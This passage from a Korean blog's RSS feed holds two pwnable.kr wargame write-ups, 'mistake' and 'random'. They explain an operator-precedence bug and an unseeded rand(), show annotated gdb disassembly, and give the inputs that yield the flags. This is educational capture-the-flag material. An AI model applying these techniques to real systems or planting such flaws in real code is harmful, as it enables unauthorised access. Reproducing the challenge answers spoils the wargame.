&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;따라서, read함수의 fd값은 0이 되어서 password를 읽어오는 것이 아니라 값을 입력받게 되는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그래서 pw_buf에 공격자가 원하는 값을 삽입할 수 있게 되는 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이후 pw_buf에 넣은 값을 xor하여 입력값으로 넣으면,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; pw_buf와 pw_buf2의 값이 같아지게 되어서 flag를 얻을 수 있는 것이다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 디컴파일하면서, 공부했던 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기록해두고, 나중에 참고하려고 적어둔다. ( 부분만 가져온 것임. )&lt;/p&gt;
&lt;pre id=&quot;code_1645352545241&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(gdb) disas main
Dump of assembler code for function main:
   0x00005555555549a1 &amp;lt;+0&amp;gt;:     push   rbp
   0x00005555555549a2 &amp;lt;+1&amp;gt;:     mov    rbp,rsp
   0x00005555555549a5 &amp;lt;+4&amp;gt;:     sub    rsp,0x40
   0x00005555555549a9 &amp;lt;+8&amp;gt;:     mov    DWORD PTR [rbp-0x34],edi
   0x00005555555549ac &amp;lt;+11&amp;gt;:    mov    QWORD PTR [rbp-0x40],rsi
   0x00005555555549b0 &amp;lt;+15&amp;gt;:    mov    rax,QWORD PTR fs:0x28
   0x00005555555549b9 &amp;lt;+24&amp;gt;:    mov    QWORD PTR [rbp-0x8],rax


   0x00005555555549bd &amp;lt;+28&amp;gt;:    xor    eax,eax
   0x00005555555549bf &amp;lt;+30&amp;gt;:    mov    edx,0x100
   0x00005555555549c4 &amp;lt;+35&amp;gt;:    mov    esi,0x0
   0x00005555555549c9 &amp;lt;+40&amp;gt;:    lea    rdi,[rip+0x208]        # 0x555555554bd8
   0x00005555555549d0 &amp;lt;+47&amp;gt;:    mov    eax,0x0
   0x00005555555549d5 &amp;lt;+52&amp;gt;:    call   0x555555554810 &amp;lt;open@plt&amp;gt;
   '''
      (gdb) x/s $rip+0x208
      0x555555554bd8: &quot;/home/mistake/password&quot;

      eax            0x3      3  //open함수의 리턴값은 3임.  
   '''

   0x00005555555549da &amp;lt;+57&amp;gt;:    shr    eax,0x1f  
   ''' eax에는 0값이 들어감. :: 참고로 0x1f는 31임.  

       ※ 중요 ※
          양수인지, 음수인지 shr 31 로 알 수 있다.
          왜냐하면 컴퓨터는 1과 0만 알기 때문에,  shr31만으로도 양수인지 음수인지 알 수 있는 것이다.  
          즉, eax에서 shr 31하면, 0이 나오게 된다.
          // 1은 음수, 0은 양수를 의미함.
   '''

   0x00005555555549dd &amp;lt;+60&amp;gt;:    movzx  eax,al
   0x00005555555549e0 &amp;lt;+63&amp;gt;:    mov    DWORD PTR [rbp-0x28],eax
   0x00005555555549e3 &amp;lt;+66&amp;gt;:    cmp    DWORD PTR [rbp-0x28],0x0
   0x00005555555549e7 &amp;lt;+70&amp;gt;:    je     0x555555554a09 &amp;lt;main+104&amp;gt;
   ''' cmp했을 때 두 수의 값이 0으로 같기 때문에, &amp;lt;main + 104&amp;gt;로 이동함. '''

   0x00005555555549e9 &amp;lt;+72&amp;gt;:    mov    eax,DWORD PTR [rbp-0x28]
   0x00005555555549ec &amp;lt;+75&amp;gt;:    mov    esi,eax
   0x00005555555549ee &amp;lt;+77&amp;gt;:    lea    rdi,[rip+0x219]        # 0x555555554c0e
   0x00005555555549f5 &amp;lt;+84&amp;gt;:    mov    eax,0x0
   0x00005555555549fa &amp;lt;+89&amp;gt;:    call   0x5555555547d0 &amp;lt;printf@plt&amp;gt;
   //   &quot;can't open password %d\n&quot;  

   0x00005555555549ff &amp;lt;+94&amp;gt;:    mov    eax,0x0
   0x0000555555554a04 &amp;lt;+99&amp;gt;:    jmp    0x555555554b39 &amp;lt;main+408&amp;gt;
   0x0000555555554a09 &amp;lt;+104&amp;gt;:   lea    rdi,[rip+0x216]        # 0x555555554c26
   0x0000555555554a10 &amp;lt;+111&amp;gt;:   call   0x5555555547a0 &amp;lt;puts@plt&amp;gt;
  
   '''
      (gdb) x/s $rip+0x216
      0x555555554c26: &quot;do not bruteforce...&quot;
   '''


   0x0000555555554a15 &amp;lt;+116&amp;gt;:   mov    edi,0x0
   0x0000555555554a1a &amp;lt;+121&amp;gt;:   mov    eax,0x0
   0x0000555555554a1f &amp;lt;+126&amp;gt;:   call   0x555555554800 &amp;lt;time@plt&amp;gt;
   // time(0)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. flag 획득&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자는 pw_buf에 'hellohello' 값을 넣어주고, &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;pw_buf2에 'hellohello' xor연산한 'idmmnidmmn'값을 입력하여 flag를 획득하였다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wOP5l/btrtqNLXiBd/xs73FbClOBlzrKtYEhjRfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wOP5l/btrtqNLXiBd/xs73FbClOBlzrKtYEhjRfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wOP5l/btrtqNLXiBd/xs73FbClOBlzrKtYEhjRfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwOP5l%2FbtrtqNLXiBd%2Fxs73FbClOBlzrKtYEhjRfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;875&quot; height=&quot;246&quot; data-origin-width=&quot;875&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bye~ 안녕히계세요!&amp;nbsp; ヽ（≧□≦）ノ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>Mistake</category>
      <category>mistake pwnable</category>
      <category>mistake writeup</category>
      <category>mistake 풀이</category>
      <category>operator priority</category>
      <category>pwn mistake</category>
      <category>pwnable.kr mistake</category>
      <category>연산자 우선순위</category>
      <category>코딩실수</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/556</guid>
      <comments>https://power-girl0-0.tistory.com/556#entry556comment</comments>
      <pubDate>Wed, 16 Feb 2022 01:48:31 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable] random 풀이</title>
      <link>https://power-girl0-0.tistory.com/555</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;안녕하세용(. ❛ ᴗ ❛.)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;h3 style=&quot;text-align: left;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;1. 문제&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;바이너리 파일과 c코드가 주어진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;아래는 c코드이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1644685137096&quot; class=&quot;cs&quot; data-ke-language=&quot;cs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

int main(){
	unsigned int random;
	random = rand();	// random value!

	unsigned int key=0;
	scanf(&quot;%d&quot;, &amp;amp;key);

	if( (key ^ random) == 0xdeadbeef ){
		printf(&quot;Good!\n&quot;);
		system(&quot;/bin/cat flag&quot;);
		return 0;
	}

	printf(&quot;Wrong, maybe you should try 2^32 cases.\n&quot;);
	return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;2. 풀이&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문제 코드를 확인해보면, 랜덤함수인 rand( )를 사용하는데 난수값을 설정하지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이는 프로그램이 실행될 때마다 랜덤값이 같다는 것을 예측할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;(이해가 되지 않는다면, rand함수에 대해 공부하고 오는 것을 추천한다. )&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;따라서, 프로그램이 실행되었을 때의 랜덤값을 알아내면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;필자는 gdb를 통해서, 랜덤값을 확인하였다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qmKEz/btrs724dvSH/8jEAVB5n6oO0mcJddtFqX0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qmKEz/btrs724dvSH/8jEAVB5n6oO0mcJddtFqX0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qmKEz/btrs724dvSH/8jEAVB5n6oO0mcJddtFqX0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqmKEz%2Fbtrs724dvSH%2F8jEAVB5n6oO0mcJddtFqX0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;825&quot; height=&quot;198&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;67&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdddaL/btrtb2hP0fh/w9XfKiXlTksNvKswLgzKJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdddaL/btrtb2hP0fh/w9XfKiXlTksNvKswLgzKJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdddaL/btrtb2hP0fh/w9XfKiXlTksNvKswLgzKJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdddaL%2Fbtrtb2hP0fh%2Fw9XfKiXlTksNvKswLgzKJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;739&quot; height=&quot;67&quot; data-origin-width=&quot;739&quot; data-origin-height=&quot;67&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;랜덤값을 구했으니, key값을 구해보자!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문제 코드 10줄을 보면, key와 랜덤값을 xor해서 0xdeadbeef 값이 나오면 flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;즉, 반대로 랜덤값과 0xdeadbeef값을 xor하면 key값을 구할 수 있다는 의미이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;랜덤값 1804289383를 hex값으로 바꾼 뒤, 0xdeadbeef와 xor연산을 하면, 아래와 같이 결과값을 구할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;161&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IXVZT/btrs67E8IeT/33SIC64wG4BkYgwFciRLj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IXVZT/btrs67E8IeT/33SIC64wG4BkYgwFciRLj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IXVZT/btrs67E8IeT/33SIC64wG4BkYgwFciRLj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIXVZT%2Fbtrs67E8IeT%2F33SIC64wG4BkYgwFciRLj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;395&quot; height=&quot;161&quot; data-origin-width=&quot;395&quot; data-origin-height=&quot;161&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 나온 값을 10진수로 바꿔, 바이너리에 입력하면 flag획득이 가능하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3. flag 획득&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;139&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/doL37X/btrtb3A2HCL/VlR1XBcovD3S9H5AKvatO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/doL37X/btrtb3A2HCL/VlR1XBcovD3S9H5AKvatO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/doL37X/btrtb3A2HCL/VlR1XBcovD3S9H5AKvatO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdoL37X%2Fbtrtb3A2HCL%2FVlR1XBcovD3S9H5AKvatO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;863&quot; height=&quot;139&quot; data-origin-width=&quot;863&quot; data-origin-height=&quot;139&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;안녕히 계십쇼&amp;nbsp; (～￣▽￣)～&lt;/p&gt;</description>
      <category>War game/pwnable.kr</category>
      <category>pwn rand</category>
      <category>pwn random</category>
      <category>pwn random 풀이</category>
      <category>pwnable random</category>
      <category>pwnable random writeup</category>
      <category>pwnable random 풀이</category>
      <category>pwnable.kr random</category>
      <category>random 함수</category>
      <category>RAND함수</category>
      <category>xor연산</category>
      <author>power-girl0-0</author>
      <guid isPermaLink="true">https://power-girl0-0.tistory.com/555</guid>
      <comments>https://power-girl0-0.tistory.com/555#entry555comment</comments>
      <pubDate>Sun, 13 Feb 2022 02:19:59 +0900</pubDate>
    </item>
  </channel>
</rss>